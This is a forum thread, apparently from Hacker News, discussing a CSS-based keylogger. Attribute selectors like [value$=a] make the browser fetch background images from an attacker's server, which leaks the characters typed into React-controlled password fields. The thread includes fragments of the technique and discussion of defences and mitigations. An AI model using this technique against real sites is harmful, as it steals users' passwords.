the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".
Most people in the comments don't seem to understand how this works.
i.e. you don't need to have rules for all possible passwords, just one for each character.
Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs.
Edit: This doesn't seem to work for me in Chrome 63.0.3239.132
Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
This is speculative as I haven't tested out this vulnerability or attempted to avoid it (yet), but I imagine this means it would be a good idea to make password fields "uncontrolled"[1] if you're using react.
One option is to make the input component uncontrolled by removing the value={this.state.password} prop, but keeping the onChange handler to maintain the password in the state for validation & strength checking. Typically, the only time you need to programmatically change a password field is when clearing it, which can be done by setting the DOM attribute directly.
It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.
Maybe they will have to rethink it. It seemed odd when they introduced it and at least in the early React version kept making problems e.g. when entering German Umlaute on US keyboards. Not working much on Frontend anymore but when I do inputs, I only use uncontrolled ones - it's much less hassle and more flexible anyways.
The pattern is to handle form fields locally in the browser as part of the application state.
Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM.
The state engine is a fancy word for a variable that has a special setter function so that the changes can be reflected globally.
Can’t speak about Vue, but that’s pretty much the recommended pattern for most input fields in React. But, as others have commented, it might be prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.
Unfortunately, that’s very inconvenient with React because you’ll have to start thinking about dom elements lifecycle separately of the react app lifecycle.
Not at all. Sending off requests is a different thing entirely to controlled inputs, and you don't need a controlled input to do a request every keypress.
It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.
Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors.
In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)
That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
I was also thinking along those lines, a way to LINT/validate form fields when JS is disabled, but seems like a very obscure and inefficient (use html5 validation + js, validate server side on submit)
It might be useful to show/hide certain parts of the form depending on a value selected in dropdown (SELECT) control. As for text input controls - perhaps to highlight the content when value matches expected (but not required) pattern.
Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)
The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).
This means that both:
- typing the password
- setting the password via element.value=foo
will not work
The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick.
Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:
No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y"
Not an efficient keylogger, however, if you know the pressed keys, you can just generate permutations ordered using probabilities, and that would be a lot faster than brute force.
The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.
Interestingly the password "BAAAD" would generate 3 requests to the logging server, since it wouldn't request the background image for the letter "A" more than one time. Or shouldn't, anyway.
For example, there are about 41,000 possible passwords for a given set of 8 characters, out of around 96^8 possible 8 character passwords (in the ASCII character set).
This is 127,286,426,869 (~128bn) times smaller than 92^8.
Edit: Note that if you have a repeated character in your 8 charcter password then the number of permutations of the set of 8 (7 distinct) characters is further halved to 20,160.
Well it would also not come in the correct order if someone types their password wrong, deletes letters and re-types them, etc. But I assume the idea would be that you'd have a much easier time figuring out the password if you had all the keys they pressed.
I was replying to the comment above which pointed out correctly that the order in which the server receives the requests may differ from the order in which they were sent.
One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.
Yeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything
I try very hard to keep my pages pure css and html.
That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.
just the first stage of 'I hate JS because it's cool to hate JS'
second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.